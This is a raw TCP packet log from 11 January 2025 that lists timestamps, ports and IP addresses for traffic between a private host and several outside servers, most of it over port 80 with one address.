Jan 11, 2025 08:41:49.651882887 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651916027 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.651948929 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.651953936 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651964903 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651974916 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651983976 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651993990 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652004004 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652009010 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652009010 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652039051 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652152061 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652270079 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652400017 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652483940 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652496099 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652517080 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652524948 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652530909 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652568102 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652568102 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652699947 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652712107 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652723074 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652733088 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652745008 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652754068 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652765036 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652772903 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652784109 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652787924 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652787924 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652829885 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.652857065 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652868032 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.652930021 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653027058 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653038025 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653047085 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653058052 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653064966 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653074980 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653084993 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653085947 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653096914 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653107882 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653119087 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653125048 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653125048 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653130054 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653141975 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653153896 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653162956 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653168917 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653177023 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653187990 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653198004 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653223991 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653223991 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653237104 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653409958 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653626919 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653637886 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653650045 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653661013 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653671980 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653681993 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653691053 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653701067 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653711081 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653721094 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653722048 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653722048 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653733015 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653743982 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653753996 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653764009 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653774023 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653779030 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653779030 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653786898 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653798103 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.653824091 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653824091 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.653865099 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654279947 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654292107 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654300928 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654330015 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654339075 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654350042 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654360056 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654376030 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654386044 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654392004 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654396057 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654397964 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654407024 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654417992 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654428005 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654434919 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654439926 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654452085 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654462099 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654468060 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654468060 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654469013 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654484034 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654493093 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654503107 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654512882 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654519081 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654519081 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654525042 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654536009 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654546022 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654556036 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.654580116 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654580116 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.654606104 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655277014 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655287981 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655308962 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655325890 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655335903 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655344963 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655352116 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655355930 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655369043 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655370951 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655380011 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655390978 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655401945 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655407906 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655416965 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655416965 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655416965 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655428886 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655433893 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655441046 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655451059 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655462027 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655471087 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655483007 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655493021 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655494928 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655494928 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655503988 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655514956 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655524969 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.655534029 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655534029 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655559063 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.655577898 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.706020117 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.865010977 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:52.827701092 CET	49712	80	192.168.2.5	104.16.185.241
Jan 11, 2025 08:41:52.827733040 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:52.832542896 CET	80	49712	104.16.185.241	192.168.2.5
Jan 11, 2025 08:41:52.832611084 CET	49712	80	192.168.2.5	104.16.185.241
Jan 11, 2025 08:41:52.832675934 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:52.832747936 CET	49712	80	192.168.2.5	104.16.185.241
Jan 11, 2025 08:41:52.832793951 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:52.837471008 CET	80	49712	104.16.185.241	192.168.2.5
Jan 11, 2025 08:41:53.283683062 CET	80	49712	104.16.185.241	192.168.2.5
Jan 11, 2025 08:41:53.291327000 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:53.291378975 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:53.291439056 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:53.291672945 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:53.291685104 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:53.387907028 CET	49712	80	192.168.2.5	104.16.185.241
Jan 11, 2025 08:41:53.393249035 CET	80	49712	104.16.185.241	192.168.2.5
Jan 11, 2025 08:41:53.393313885 CET	49712	80	192.168.2.5	104.16.185.241
Jan 11, 2025 08:41:53.396213055 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:53.396255970 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:53.396506071 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:53.437092066 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:53.437118053 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:53.900640965 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:53.900768042 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:53.903985023 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:53.904004097 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:53.904375076 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:53.923877954 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:53.934833050 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:53.934873104 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:53.937836885 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:53.937916994 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:53.963287115 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:53.963535070 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:53.974822044 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:54.015342951 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:54.065618038 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:54.065677881 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:41:54.078421116 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:54.078493118 CET	443	49714	104.21.44.66	192.168.2.5
Jan 11, 2025 08:41:54.078542948 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:54.091753960 CET	49714	443	192.168.2.5	104.21.44.66
Jan 11, 2025 08:41:54.176816940 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:41:59.453092098 CET	49703	443	192.168.2.5	23.1.237.91
Jan 11, 2025 08:41:59.458585978 CET	443	49703	23.1.237.91	192.168.2.5
Jan 11, 2025 08:42:01.508630991 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:01.508727074 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:01.508816957 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:01.519265890 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:01.519304037 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.132291079 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.132386923 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.139193058 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.139219999 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.139513016 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.160314083 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.203336000 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.431406021 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.549304008 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.591100931 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.591137886 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.595300913 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.595371008 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.595499992 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.595555067 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.595957994 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.595998049 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596148014 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596182108 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596319914 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596343994 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596374035 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596388102 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596415043 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596438885 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596482038 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596507072 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596518040 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596534014 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596559048 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596574068 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596601963 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596613884 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:02.596681118 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:02.596692085 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:03.156569004 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:03.156971931 CET	443	49724	149.154.167.220	192.168.2.5
Jan 11, 2025 08:42:03.157033920 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:03.167443037 CET	49724	443	192.168.2.5	149.154.167.220
Jan 11, 2025 08:42:03.823858023 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:03.824029922 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:03.824265957 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:04.010246038 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.015081882 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.017108917 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.017558098 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.022351027 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.363389015 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.368395090 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368412018 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368473053 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.368509054 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368510962 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.368521929 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368534088 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368547916 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368556976 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.368590117 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.368623018 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368635893 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368658066 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368669987 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.368690968 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.368721008 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.376017094 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.376032114 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.376041889 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.376054049 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.376065969 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.376077890 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.376085043 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.376137018 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.376176119 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.416430950 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.416630030 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.464426994 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.464520931 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.512486935 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.512547970 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.560483932 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.560656071 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.608441114 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.608499050 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.615861893 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.616065025 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.621880054 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.621938944 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622040033 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622071028 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622108936 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622122049 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622133017 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622133970 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622157097 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622169971 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622174025 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622183084 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622186899 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622195005 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622200012 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622205973 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622208118 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622217894 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622229099 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622246027 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622267008 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622288942 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.622342110 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622354984 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.622471094 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:04.626826048 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627219915 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627248049 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627262115 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627348900 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627397060 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627409935 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627423048 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627443075 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627522945 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627549887 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627563953 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627646923 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627661943 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627717018 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627875090 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627887964 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627898932 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627919912 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627931118 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.627990007 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628001928 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628021955 CET	80	49742	128.199.113.162	192.168.2.5
